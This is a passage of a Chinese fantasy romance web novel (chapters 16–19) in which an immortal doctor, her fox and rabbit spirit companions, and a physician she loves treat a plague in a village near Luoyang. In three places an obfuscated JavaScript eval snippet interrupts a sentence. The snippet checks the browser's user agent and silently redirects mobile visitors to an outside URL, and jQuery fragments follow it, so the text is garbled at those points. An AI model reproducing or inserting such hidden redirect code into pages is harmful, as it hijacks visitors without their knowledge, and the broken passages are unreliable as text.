“唔,那就没我什么事了。”李重琲冲石水玉笑眯眯地一展臂,“小娘子,我们走!” 石水玉忍笑陪他一道离开,剩下爰爰泫然欲泣。 明月奴低声道:“敢哭就吃了你!” 撇下的嘴又扬了起来,爰爰站在门口目送一行人离去,转身回屋时,发现明月奴去了后院,于是立刻来到素问身边准备告状,只是话还未开口,她发现自己的靠山正在发呆。 爰爰顺着素问的目光而去,看到了角落里一个朴实无华的药筐。 16. 星汉西流(六) 爰爰记得这个药筐,一开口即石破天惊:“是那个男医师!仙子心仪于他,对不对?” 素问忙移开目光,道:“怎么会?” 爰爰笑道:“可是话本里就是这么演的,女郎呆呆地看着情郎的衣服啊扇子啊……” “闭嘴。”素问打断爰爰,正要辩解一番,忽然察觉到不对,她探究地看向爰爰:“你不是一直在九皋山么?哪里看的话本?何况你不是不识字么?而且连救你的人都能认错,怎么会记得男医师?” 爰爰被一连串的问题问得有些慌乱,但很快便想好了说辞:“真武观有贪恋凡尘的小道士呀,我都是从他们那里听来的!至于男医师……我当时躺在这个药筐上呀,仙子帮我疗伤的时候,男医师在旁边,我模模糊糊感觉到了。” 素问怀疑地看着爰爰,无奈对方表现得甚是理直气壮,再加上自己方才被说得有些心虚,便不再追究,只吓唬道:“明月奴在你身上种了狐香,你若是胡作非为,就算逃去天涯海角,我们也会找到你。” 爰爰正色道:“仙子莫要疑我,向李公子报恩为真,留在仙子身边求庇护也是真,只是先前担心仙子赶我走,才会耍些小聪明,我以后再也不敢了。” “你能坦诚相待是最好。”素问缓了语气,“以后也不必仙子仙子地叫,唤我本名就是。” “一定坦诚,绝不说谎!”爰爰说罢,试探地坐到素问身边,见她不赶自己,便又靠近一些,笑道,“不让我叫仙子,那我跟狐狸学,我也叫阿姐!” “随你喜欢。”素问按了按眉心。 “所以……”爰爰低声问,“阿姐喜欢他么?” 素问一怔,停了手,顿了片刻,摇头道:“方医师有命定之人。” “何谓命定之人?” 素问回头看她,只见爰爰眨着大眼睛,满脸疑惑地看着自己,一派天真无邪,叫人心里发软,便道:“比如你命中注定不该和李重琲有过多牵扯,我和方医师也一样,月下老人早已为他牵好了红线,我不会喜欢他。” 爰爰撅起嘴,显然并不认同,嘟囔道:“我们都是生灵,又不是牵线木偶,怎么会是月老怎么牵,我们就怎么做?” “关于命运的事太过深奥,我也不是很明白,但就是这么回事。”素问一锤定音,拍拍爰爰的脑袋,道,“反正我们俩都不许起歪心思,听懂了么?” 爰爰笑嘻嘻地点了点头,也不知听进去几分。 素问这厢下定决心,下午便让明月奴将药筐送了回去。 李重琲和石水玉这一去,却连着两三天没见到人,要不是明月奴打听到李重琲正在北市吃茶,素问还以为他们俩出了事。 图南倒是抽空来了一次,彼时素问正在问诊,他放下一些果蔬,便来到了河边,等素问送走了病者,来到他身边时,只听图南叹了一声。 素问来到树荫下,学着图南的模样趴在栏杆上往下看,没看出什么端倪,奇道:“图师兄遇到烦心事了?” “算算时节,这阵子该在汛期。”图南指着河堤与河水的交界处,有一截明显潮湿一些,“可是你看,水没有涨,还在往下落,旱灾之下,又逢酷暑,恐怕会有疫灾——其实洛阳周边已经有了风声,若是控制不好,百姓又不知要死多少了。” 素问道:“那应当怎么做?” 图南苦笑:“我们能做的很有限,救治几个人,或是几个村落,要想赈灾,还得靠朝廷。” 素问想起明月奴曾经打探到的消息,道:“我听说皇帝还欠士兵很多钱,他有钱拿来赈灾么?” “灾情已经蔓延到了都城,即便不欠钱,也很难彻底平复了,何况……”图南欲言又止。 素问奇道:“何况什么?” 图南低声道:“契丹屡屡来袭,北方军镇催要粮草,先前官家来洛阳时,一路搜刮,致使同、华、绛、河中等州府仓储为之一空,无法就近为河东补给……其实契丹侵犯一事或有夸大之嫌,但谁也不敢说,陛下本来就很忌讳那位‘姐夫’,先前差点将他困死在洛阳城,还是晋国长公主去求了曹太后,才将他放归河东。” “天灾人祸。”素问总结。 “是啊,可我竟然还在此处,连义诊也做不了。” 素问不解:“你不是有休沐么?” “傻孩子,官家会让接触过瘟疫的人去太医院当值么?”图南示意素问看向桥后,道,“从瘟疫的消息传出开始,我们只要出宫,就时时有人看着呢。” 素问佯装不经意地看去,果然发现对面有人在盯着这边,当即锁起了眉头。 图南倒是认命了,他呆呆地看着河面,过了好一会儿,喃喃道:“我想辞官。” 素问立刻道:“辞呀!” “现在还不行。”说到这里,图南脸色柔和不少,“等到后年这时候就可以了,到时候我要远走高飞。” 素问前几日被爰爰启发,蓦然福至心灵,问道:“是带着谁一起远走高飞么?” 图南赧然一笑。 素问来了兴趣,追问道:“她是谁?在宫里么?” 图南点头:“在宫里,是谁却不能说,她如今本身就遭人嫉恨,要是此事传出去,恐怕会害了她的性命。” “这么严重?!”素问倒吸一口凉气,连忙道,“那我不问了,你也千万守好秘密,别和任何人说!” 图南笑道:“我知道利害,放心罢。” 素问看出图南努力在装轻松,想了想,提议道:“我们不是一个师门嘛,我去义诊,就等于你去了,好不好?” 图南脸色一变,忙道:“不可!瘟疫不是小事,会要命的!” “我和你一样是医师,你不怕,我有什么可怕的?再说了,有我代替你去,你应当放心才对,要相信同门的医术呀。”素问拍拍图南的肩膀,笑道,“我这里病人很少,偶尔关关门不要紧,图师兄别担心。” 图南眼睛发红,一时有些语无伦次:“素问,我……我……” 素问认真道:“是我要去的,图师兄今日不说,来日我听到了风声,也还是会去,只是等我发现的时候,恐怕瘟疫已经蔓延开来,倒不如这时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079629|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入手。” 话已至此,图南知道自己再说便是看轻素问了,他抿住唇,思索片刻后,叮嘱道:“你先等等,我将这些年攒到的瘟疫方子都找出来,或许有同源病症。” 素问点头。 图南决心去做,立刻便告辞离开,明月奴来到素问身后,一同看着图南离开,道:“自己都管不好,还想管天下人。” 素问回头看去。 明月奴抱着手臂,满脸不悦:“图师兄真是爱操心,原本以为只是对我们,不想他……”说到此处,明月奴顿住,过了好一会儿,才低声道,“吹皱一池春水,干卿何事?” 素问认真道:“图师兄不是多管闲事。” “可是多事多患。” “若是人人避凶就吉、独善其身,这乱世恐怕永远都结束不了了。来人间之前,我看了不少史书,每逢民不聊生,总有仁人志士挺身而出,或许处在当时,你会觉得他们螳臂当车、蜉蝣撼树,可是站在终点看,不正是因为有他们的存在,才能一次次拨乱反正么?”素问淡淡道,“你不愿去做,没有人会逼你,但你不该轻视他。” 明月奴垂下头,忧心忡忡道:“我不是轻视他,图师兄是好人,我虽不喜,但还是希望他能平安。” 素问叹了一声,道:“不是有我们么?尽力而救,不见得就会出事,而且再过两年,他就离开洛阳了,届时山高水远,一个隐逸医者还会有什么危险?” 明月奴也叹气:“人间可真麻烦,才来多久啊,就这么多羁绊了,最好就图师兄一个,我可不想管其他人。” “应当不会。”素问快速回答,说完之后,心里忽然也有些没底,瑶山真君说过“勿动凡心”,与人的羁绊,勿论友情、爱情,是不是都隶属于“凡心”的一种呢? 甚至于对黎民苍生的怜悯,会不会也在“凡心”范畴之内? 但如此一说,神明该有凡心才对,一味无情的公允,还称得上是公允么? “阿姐?你在想什么?”明月奴冲素问眼前挥挥手。 素问醒神,忙回归正题,道:“你去准备些银钱,等图师兄的药方来,你先去南市按方子订购药草,我去疫区看看,再决定如何救治。” 明月奴道:“让兔子精去买,我陪阿姐去城外。” “爰爰不识字,还是你去。” 明月奴不情不愿道:“那……那让兔子精陪阿姐去,总归身边要有懂法力的人陪着才好,兔子精修为虽低,聊胜于无了。” 素问发现明月奴每每遇见新人,总是一番敌意,但是相处时间长了就好了,因此也不再多说,点头答应着,转身回屋收拾药箱。 那厢明月奴想起来人间的正事,忙追上来问:“阿姐,不给方医师看病了?” 素问头也不抬:“他不让我看,等一段时间再说。” 明月奴疑惑:“等一段时间就给看了吗?” 素问手上动作一顿,沉默了片刻,将一套针装进药箱,淡淡道:“嗯,等我想清楚。” 至于想清楚什么,素问自己也不敢说。 17. 星汉西流(七) 次日一早,图南就送来了地图和药方,素问略作判定后,将药方交给了明月奴去采买,自己则带着爰爰出了城,按照地图指示,来到洛阳城西北方的河清县下辖游王庄。此地属洛阳北郊,丘陵环绕、土地肥沃,是河清县的大村,平日里很是热闹,但如今,人多聚居反倒成了催命符。 素问到时,村里已有半数人病倒,里正张春山也倒下了,只能勉强撑起病体接待来客。素问坐在张春山床前,目光在屋里扫视一圈,掠过散落干枯的草药,最终落在了病人脸上——里正看上去很不好。消息传到洛阳城里,只剩下只字片语,在游王庄,却实实在在成了一座大山,情况远比他们想象得要严重。 里正断断续续道出村里的信息,虽有所保留,但素问还是大致有了救治的方向,现在唯一的问题是药草还不够,人手也不够。 张夫人看素问面色凝重,担心她胆怯离开,忙补充道:“叶医师别害怕,我们这里的病症是半个多月前就开始的,平日里家家户户互相都有接触,但不是所有人都中了招,所以严格来说,应当算不得瘟疫,而且目前只有三个老人去世,想来年轻力壮的即便不小心染上了,也不一定严重。” 几句话夹杂着张春山数十声惊天动地的咳嗽声,说服力自然就被削弱了许多。 素问闻言,温声道:“我不会走的。” 张夫人暗自松了口气,顿了好一会儿,忽然想起一事,又道:“昨日,洛阳有一位年轻的医师过来,后来说药不够,要回去买,不知今日会不会来。” “想必会。”素问看张春山实在痛苦,不再多扰,便起身道,“我先出去看看其他病人,早些定下第一道方子才是,张夫人请便。” 张春山点点头,张夫人将他们送到门口,依依不舍地目送素问离开。 爰爰亦步亦趋地跟着,两人沿着干枯的小河往前走,遇见能敲开柴扉的人家,素问直接上前去问情况,若是敲不开,爰爰便跳进去找人,这种情况下,多半是因为家里人少,都病得起不了身,素问只能针灸推拿,先让他们恢复呼吸的能力,想要治愈,就不是一时三刻的事了。 两人从村头到了村尾,花了近两个时辰,爰爰累得一屁股坐在田埂上,不解道:“阿姐修为深不可测,若想救人,为何不直接施展仙法呢?何苦这样亲力亲为!” 素问摇头:“我不能贸然干涉人间的事,否则可能会导致更坏的结果。” 爰爰奇道:“还能有多坏?” “无法预料。” “怎么能为了不知道的结果就放弃眼前的人呢?”爰爰撅起嘴,“要不是我不会施法救人,我就动手了,以前阿娘也是这样的,没见谁来说什么呀!仙人怎么还不如我们妖精自在?” 素问笑道:“你以为成仙便可以为所欲为么?” “对呀!”爰爰十分理直气壮,“不能想做什么就做什么,那为何要成仙?” “你在人间见过仙人么?”素问道。 “听说过,但从来没见过。”说到这里,爰爰也有些奇怪,“是的呢,为何我从未见过其他仙人?就连真武观也都是一群凡人而已。” “因为仙有仙规,第一条便是金仙之上无令不得前往人间,法力稍稍弱一些的地仙不能擅自前往人间城镇,人仙灵力最弱,可在人间行走,不过他们通常也不会将自己当成仙人,只是修道人士。诚然,成仙有许多好处,可得长生、飞天遁地、逍遥自在,确实没有人间这么多规矩束缚,但前提是我们在仙界之中。”素问垂头,看爰爰一派迷糊,想了想,换了个说法,“就拿人间来说,许多人想当皇帝,认为当了皇帝后,想做什么便做什么,你觉得皇帝是这样的么?” 爰爰这几日听明月奴说了人间这几十年来的情形,再想想当今皇帝所面临的困境,自然不会觉得做皇帝有多好了,道:“我明白了,阿姐,想来六道皆被束缚,做天神才能随心所欲。” 素问失笑,温声解释:“不,你还是不明白,我与你说皇帝的例子,是要告诉你,站得越高,所受束缚就越多。人间权力至高是皇帝,他的一言一行会影响万千百姓的生计,所以要谨言慎行,连喜好也不能让别人知晓;金仙在仙界是普罗大众,可以逍遥自在,但是来人间就会成为灵力至尊,一举一动可能会改变一个地方的百年气运,所以宁愿封印法力做个凡人,也不会轻易出手;至于神明……他们凌驾于六道之上,所谓金科玉律、云篆瑶章,每一道神旨都会成为天地法则,所以要慎之又慎,否则六道大乱、乃至于湮灭无形都有可能。” 爰爰张着嘴,呆了半晌,喃喃道:“那我还是老老实实做个小妖罢。” “只要你无所求,这样也未尝不可,不过我建议你莫要懈怠修炼,否则……不说其他,你就想想若是在野外遇见了明月奴,该怎么办?” 爰爰打了个寒噤,忙道:“我一定不偷懒!最起码练好逃跑的本事!” “嗯,这样也好。”素问顺势将刚写好的药方递过去,道,“你回医庐去,帮我把这个药方给明月奴,让他对照着图师兄的单子买,尽早送来。” “好!”爰爰立刻蹦起来,作势欲跑,又猛然刹住,回头问,“那阿姐你是什么仙?” 素问:“……” 她能说自己是一个被司命星君用木簪封印了法力的金仙么?这个想法只出现一瞬,便被素问按了下去——所有会将自己与神界联系在一起的事都不可为第三人知晓,所以当初司命星君展出一系列法宝供素问选择时,她选择了平平无奇的木簪。 “咳!”爰爰见素问沉默不语,不知自己是触碰了什么禁忌,忙补救道,“我修为低,看不出阿姐的境界,不过阿姐能收服那只狐狸精,又熟悉人间规矩,想必最少是地仙了。” 素问未置可否,只道:“既然知道修为低,那更要好好修炼呀。” 爰爰重重点头:“那我走啦,阿姐还有其他吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088165|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” “注意安全,快去快回。” “阿姐也保重!”爰爰说罢,蹬腿离去,跑成了一道残影,一瞬间已经离了很远,没入树丛之中。 素问目光追随而去,不经意间扫到大道,不由定住,嘴角跟着一僵,笑意消失。过了一会儿,她眨了眨眼,缓缓行来的马车并没有消失,甚至随着距离越来越近,声音也传来了。 片刻之后,马车忽然加快了速度,朝着素问而来,车内人掀开帘子,牢牢地盯着素问,在马车停下的一瞬间跃下来,也不顾自己是否崴脚,急匆匆地冲了过来。 素问本来震惊且担忧,这会儿觉得有些好笑,道:“怎么冒失得像个孩子?” 对方一点儿也不觉得好笑,停在素问面前,沉声问:“你怎么会来这里?” “我身强体壮,来这里有什么问题?”素问抱臂反问,“倒是方医师你自己一身病,为何……”说到此处,素问猛然想起张夫人说的那个洛阳来的医师,她立刻看向马车,果然见里面堆满了药草,不由惊道,“你昨日就来了?!” 方灵枢一听,便明白素问已经和村里的人接触过了,也不说话,直接塞了一粒药丸到素问嘴里。 素问略略一尝,辨出其中药材,正是针对游王庄疫病的,她虽不需要,但也不想拂他人好意,便吞了下去。 “回去罢,这里交给我,没事的。”方灵枢说着,取出一块布巾挡住口鼻,只露出带笑的眼眸,“我有经验,也了解这里,你可以回去帮我再买点药。” 素问没有直接拒绝,而是问道:“你我同为医师,为何你留下,却要我回去?” 方灵枢一怔。 素问短促地笑了一声,道:“莫非你也觉得女子不该行医,信不过我的医术?” 方灵枢忙道:“我怎么会看轻你?你的医术远在我之上!” “既如此,该离开的人应当是你才对。” 方灵枢噎住,沉默片刻,轻叹道:“我担心你会被传染。” 素问不为所动:“你被传染的可能与我相同,一旦染病,你会更加危险,不是么?” 方灵枢皱眉:“可是我是男子,理当护佑女子……” “在医者面前,病人不分性别,如今在病者面前,我们俩也不会有什么不同。”素问说着,逼近一步,抬头直视方灵枢的眼睛,坚定道,“多谢你担心我,承蒙关照,不过这种时候,我希望你能以大局为重,莫要刻意照拂,这是对一个医者的尊重。” 方灵枢为之一窒,过了好一会儿,才小心缓慢地呼出一口气,他认真地看着这张近在咫尺的脸,是一贯的清冷美丽,但因多了一份坚毅勇敢,忽然显得可爱起来。 素问见他不出声,暗忖自己是不是话说重了,便轻咳一声,缓声道:“退一万步讲,难道我要让你单枪匹马留在这里么?” “好,我们一起。”方灵枢神智还未回归,便听自己这样说道。 18. 星汉西流(八) 明月奴踩着夕阳余晖赶来时,只见村口大柳树下炊烟袅袅,两个剪影忙碌其中,添柴或揭锅搅药,宛如一幅无比和谐的野趣图,哪怕再添一笔都是多余。 “多余”的明月奴说不上缘由地觉得有些不妙,于是决定打破这份宁静,他扬鞭拍马,跌跌撞撞地闯进画里。 素问听到动静,回头看去。 明月奴令马停下,越过马头直接飞落在素问面前,沉声道:“药都带来了,撑上七天没问题,兔……爰爰留在家里,一切顺当,阿姐放心。” 素问笑着点头,道:“做得好!” 明月奴目光转向起身走来的方灵枢,问:“方医师身子不好,怎么会在这里?” 方灵枢温声道:“出一份薄力,总不能让素问单枪匹马。” 素问仿佛被呛了,咳了一声。 方灵枢垂眸浅笑,不再多言,上前去将药草搬下来。 明月奴看着两人的反应,不由皱起眉头,迟疑道:“那石水玉……” 素问一顿。 方灵枢奇道:“石小娘子怎么了?” 明月奴见自己提示到了素问,便转了话题:“哦,她今日来找阿姐,我说你不在,她就又走了。” 素问看向马车,想了想,独自去锅边拨柴,淡淡道:“她没事就好,朝馨的事等我回去再问罢。” 太阳彻底落下,夜幕笼罩之中,方灵枢忽然感觉周遭变冷了,这种冷由外到内,以至于三人的气氛还不如两个人的时候热烈,大家默契地选择了沉默。 半个时辰后,头煎药出锅,方灵枢和明月奴蒙好脸,挨家挨户送去,素问则留下,将新的药材过秤分好。在独处的间隙,她难免思绪翻飞,等分完了七日份的药后,那两人还未归来,她便闭目沉入识海之中。 司命星君来得很快,对于素问的召唤,他似乎早有预料,一见面便道:“心绪乱了么?” 素问甚是震惊,难免还有些秘密被发现的恐慌:“星君已经知道了?在神界能看到么?” “看不见,我猜的。”司命星君不似先前那般,只在冰冷冷的空白之中与素问面对面说话,他这次选择来到素问身边,一挥手,让识海变成可见漫天星辰的草坡,然后席地而坐,拍拍身边的草地,道,“来,与我说说,因何烦心?” 素问探究地看着司命星君,一时判定不出他说的“猜”是真是假,只能拘谨地坐下,斟酌片刻,还是不敢说实话,便迂回相问:“敢问星君,方灵枢的姻缘有没有受影响?” “哪种影响?” “嗯……我记得星君说过,在我入城的那一日,方灵枢会与命定女子相遇,那时月老会为他们绑上红线,但是这段时日看来,方灵枢和石水玉的联系并不密切,不知是不是我的一些举动影响到了他们。”素问说着,小心地看向司命星君,发现他依旧笑盈盈地听着,便鼓起了勇气,问,“红线还在么?是不是一经绑定,就不会再换了?” 司命星君道:“凡间有休妻、和离之说,你知道么?” 素问点头:“也就是说,即便绑了红线,也可以换人?” “红线很牢固,但是有时候抵不过人心更顽固,换人的情况是有的。”司命星君看素问面露迷茫,刻意顿了一顿,才笑道,“但是方灵枢与命定之人的红线不会。” 素问还沉浸在自己的纠结中,听到最后一句话,愣了一会儿才反应过来,不由问道:“为何不会?” “凡人降生之前,我的命本就已经根据前世和现世一系列安排,给他们的一生定好了基调,在他们出生的一刹那,月老的红线会据此绑住两个人,往后的相遇、相识,乃至于结合,都受红线的影响,就像他们如何改变,都无法偏离命运的基调一样,牵了红线、注定要在一起的人,哪怕离得再远,最终也会共白首。”司命星君娓娓解释,“但方灵枢是神尊转世,不管今世身体如何孱弱,到底元神坐镇在神界,灵魂的力量还是很强大的。我先前也与你说了,我可以详尽地安排好方灵枢的一生,但是实际最终如何走,我并不能把控,他的姻缘也是如此,命定之人由他亲自挑选,只有他选中的人才能被绑上那根红线,届时不单单是我和月老的力量在维系,还有神尊的元神在守护,要想换人就需要先解红绳,可是谁能毫发无损地敌过神尊的元神?哪怕是天帝,也得三思而行罢。” 素问呆呆看着北方的天空,那里是战神真武大帝叶光纪的辖地,太高太远,如同方灵枢的命运一般,素问看不穿。 司命星君温声道:“所以你不用担心自己所作所为会影响神尊历劫,有些事是注定的,有些路则是他自己选择的,如果影响到神尊历劫,我会提醒你,必要时,我甚至会自己插手。” 素问点了点头,喃喃道:“所以说,他与石水玉的缘分是谁都斩不断的。” 司命星君挑了挑眉,没有接话。 素问叹道:“可是,两个人的缘分只需要一个人选中便可以了么?被选中的那个人被绑上了红线就再也挣不开了,是不是也不公平呢?” 司命星君笑了笑,胸有成竹:“虽说我不能完全左右神尊的选择,但被选中的那个人是否会出现在那个时机,这点事还难不倒我,我既然让那个女子去,自然有前因在,因为早已有了斩不断的羁绊,所以才能称得上是命定之人。” 素问面露疑惑:“我不明白。” “命运很是错综复杂,前世今生交叠,亲缘情缘穿插,还有所处时代的影响,你不明白也不奇怪。”司命星君笑着起身,叉腰道,“不过没关系,关于方灵枢的事,你总有一天会明白的。” 素问仍旧不解,抬头看他。 “回去罢,他们来了。”司命星君没有继续解释,不像往常那样先行离开,而是一挥手将素问推了出去。 素问睁开眼,才发现自己方才还有一句没问清楚——不是说神明不能降临在六界么?司命星君的“自己插手”是何意?难道除了素问,他在凡间还有其他可差使的人? 若只是代为行事,还可以说得上是“自己”么? 亦或许是自己想得太多,司命星君的意思也许就是亲自出谋划策让他人执行。 方灵枢和明月奴走到近前,发现素问呆呆地看着熄灭的火堆,两人对视一眼,一齐放下了瓷瓶和碗,清脆的声音将素问惊回了神,她抬头看向方灵枢,见他满头大汗,忙起身道:“这里是上风口,应当安全些,你们俩快透透气。” 明月奴不在乎冷热,直接将面巾往下一拉,挂在脖子上,素问这才发现他脸色不太好。 方灵枢解下面巾,擦了擦额间的汗,看木桶里面水不多了,便道:“我去打点水,顺道擦擦身子。” 明月奴刚坐下,闻言便要起身,素问将他按住,用手略微一探,发现明月奴体内气息十分紊乱,不由皱眉:“发生什么事了?” 方灵枢忙走近看。 明月奴不等他发问,含糊道:“这里的人身上有一股奇怪的味道,我闻着不舒服,歇歇就好了。” 素问心念电转,问:“和朝馨身上一样么?” 明月奴抬头看她,点了点头。 是魔气。 素问伸手入袖,实际探入须弥戒中,取出清正丹交由明月奴服下,等了片刻,见他脸色和缓一些,道:“你入定试试。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096348|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 方灵枢瞪大眼:“明月奴……也是道门中人么?” 素问含糊道:“略懂皮毛。” 她紧紧盯着明月奴,直到看他气息渐渐平复,才算是松了一口气,转而向方灵枢道:“河边湿滑,我陪你去。” 方灵枢忙摇头:“不必,河边有石板铺就的水埠头可用,而且今晚月明如昼,我自己可以,若是有事,我会喊的。” 素问还是有些不放心:“可是夏日虫蛇多……” “我是医者,随身带着药粉,放心。”方灵枢说罢,生怕素问坚持,连忙提了桶往河边行去。 素问坐在明月奴身边,视线紧紧追随着方灵枢,正全神贯注的时候,忽然身边传来一句话:“阿姐,你喜欢他?” 素问鲜少受如此惊吓,险些跳起来,她惊愕地回头,道:“你不是入定了么?” “不知为何,很快就恢复了,所以睁眼看看。”也就是片刻功夫,明月奴仿佛成熟了一些,他看向方灵枢所在方向,道,“男女有别,方医师若是让你陪着才奇怪,他不是孩子,阿姐这样关注他也很奇怪。” 素问辩解:“我关注他是因为……” “星君只是要你为他治好先天之病,可不曾说让你事无巨细地照顾叶医师。” 素问张了张嘴,又抿上了——她发现明月奴所言在理。 “虽说石水玉是方医师命定之人,但是如今看来,我却对此存疑,若论亲疏远近,你明显在石水玉之前,也不知是星君的命本出了差错,还是高高在上的神明另有安排。” 素问提醒道:“别埋怨天神……” “怕什么?”明月奴不在意地一笑,继续道,“凡人重利,也重情,与金仙心境大不相同,阿姐先前所知,皆是从仙友口述而来,懂得再多也无异于纸上谈兵,我也一样不懂,但我毕竟是妖兽出身,趋利避害的本能让我远离凡人,所以阿姐你也不要对凡人的情谊起好奇心,否则一朝陷入,可就难以自拔了。” 素问垂头,沉默许久,忍不住叹了一声:“我知道,道理我都明白,只是……” “方灵枢会死的。”明月奴淡淡道。 素问呆住。 明月奴趁胜追击:“他死后纵然会回到神界,但是神明会动情么?即便神尊记得凡间的事,但是神明存在千万年,这几十年的经历宛若一滴水落入大海,你觉得会起一丁点儿波澜么?” 素问不得不承认:“神尊不会在意。” “那时你该如何自处呢?金仙可以长生不老,往后的日子,你要怎么过?” 明月奴的话如同利剑,句句刺入素问的心底,她觉得自己仿佛要将头埋入土里了,但是现实就是如此,不容她逃避。 素问知道自己动心了,也知道自己不该动心,所以试图远离,试图让司命星君的命本来逼迫自己,但是每一次远离后的偶遇,司命命本的不确定,都让她心生侥幸,直到此时被明月奴看穿。 过了许久,素问低声问:“方灵枢……只是神尊的转世,对么?” 明月奴明白素问实际想问什么,冷冷道:“是,他的一生只是历劫的工具而已,就像阿姐曾经说李重琲只是过客一样,都不必当真。” 脚步声传来,方灵枢拎着盛满水的木桶回来,因为脚伤仍未完全恢复,走得不是很顺畅,中途将木桶放下歇脚。 素问和明月奴抬起头,齐齐看过去。 方灵枢将额前湿发拨到一边,无意间抬头,接触到两人的目光,回以温和的微笑。 素问看着他,怔怔地想:这样一个鲜活的生命,有完整人生经历的凡人,真的只是工具么? 19. 星汉西流(九) 有了素问和方灵枢一起研配药,又有图南暗中来信支持,游王庄的疫病很快便被压了下去,七日之后,病者之中已有一半多的人可以出门帮忙了,再过了十来日,游王庄村民都恢复了过来。里正欣喜异常,在他们离开那日,带着数十个村民一路送出五里,直到素问再三坚持,要求他们这段时间莫要与外村接触,张春山才带着众人回去了。 素问和方灵枢过了洛河之后便分开走,临别之前,方灵枢在车辕边站了片刻,明月奴忍住心中不耐,问:“方医师还有何事?” “素问。”方灵枢看向马车里,“你还会再去半钱医馆么?” 素问拂开门帘,问道:“有什么事?” 方灵枢看到她,眼中难掩笑意,神情却还是克制着的,温声道:“没事,就是问问。” 素问思索片刻,摇头:“现在医庐有时会有病人来,我没有先前那么空,而且你不让我给你调治身体,也没理由去呀。” “啊……”方灵枢有些遗憾,但并未就此让步,有些黯然道,“确实如此,你也很忙。” 素问笑道:“你要是改变了主意,我一定会去的。” 方灵枢弯眼一笑,退后一步,道:“这些时日,你们很是辛苦,早些回去休息罢。” 素问也不失望,放下了帘子,由着明月奴驱车带自己回到惠训坊。 这会儿正是午后,烈日当空,石板都被晒得发白,一路上罕见活物,因此到了家门口下车时,隔壁敞开的大门和院中凭空出现的葡萄架,以及葡萄架下扇着扇子的美髯公就显得有些瞩目了。 素问和明月奴对视一眼,看到了彼此眼中的疑问:隔壁门头不是一直空关着么?这忽然出现的“天涯书斋”是怎么回事? 美髯公惬意地躺着,半眯着眼,也不知是在浅眠,还是从眼缝里观察竹栏外的人。 医庐里,爰爰正坐在窗边,就着蝉鸣声打盹儿,口水流在了案几上。素问踏进门槛,扫视一圈,感觉安平医庐与离开时并无区别。 城外有些人刚从鬼门关里走了一趟回来,洛阳城里尚算得上浪静风恬。 爰爰鼻子动了动,很快睁开眼,见素问已经伏案书写,立刻蹦起来,问:“阿姐何时回来了?狐狸呢?” “我们刚回来,明月奴去南市归还马车了。”素问凭着记忆,将她和方灵枢最后定下的药方誊写下来。 爰爰凑在旁边看了片刻,能认出的字不超过一只手,她目光追随着药单入了信封,奇道:“这是给谁呀?” “图师兄。”素问耐心解释,“他的方子不是非常适用,想来是很久以前的,我将最新的写给他参考一二。” 爰爰笑道:“你们医师都这样,凡人才能用那么短的寿数将医术发展得如此之好罢。” 素问倒没想过这些,被爰爰一提醒,也觉得甚是奇妙:“仙门闭塞,门内心法道义不愿外传,多的是闭门造车,更有甚者,还会拒谏饰非,所以即便寿数远超凡人,却活成了老顽固,仙道没落已久,可谓是一代不如一代,想来根源或许就在这里。” 爰爰点头:“我以前觉得凡人又笨又弱,这些时日观察下来,好像又笨又弱的是我才对。” 素问安慰道:“倒也不必妄自菲薄,单个凡人是比不上你的,只是他们世世代代都在努力,这样的力量,别说是你了,就算是神仙下凡,也不一定抵得过。” 爰爰若有所思,过了片刻,忽然道:“那如果妖也这么努力,是不是人间这大好河山就归我们了?” “……”素问仔细想想,道,“也不是不可能。” “如此,要先会识字,但是字也是凡人的,我们应该先创造属于妖族的字……”爰爰眨了眨眼,认真打起了退堂鼓,“算了,识字都这么麻烦,更别提什么造字,人间还是让凡人来占着罢。” “以管窥天,以蠡测海,还大言不惭。”明月奴进门,无情点评,“要是妖族都如你一般,迟早灭族!” 爰爰不敢直接怼,便将头偏到一边不看他。 明月奴抱臂站到爰爰身旁,问:“喂,隔壁那个书斋是怎么回事?” 爰爰没好气道:“就是忽然租出去了呀,元大叔租下开店,有什么问题?” 明月奴皱起眉:“元大叔?你们接触过?” 素问也抬眼看向爰爰。 爰爰忙道:“放心放心,我绝没有透露咱们的身份,不过倒是将他的事打听得清清楚楚:元大叔从南边来,是长乐县人,无妻无子,只有一个侄儿、一个侄女,姐弟俩几个月前结伴来洛阳,因二人都是棒槌性子,元大叔不放心,所以悄悄跟来照拂,开书斋是为了落脚,也方便自己读书,并不是为了谋生。” “怪道如此闲散。”素问恍然。 明月奴嫌弃道:“你多大年纪,好去喊一个凡人为大叔?” 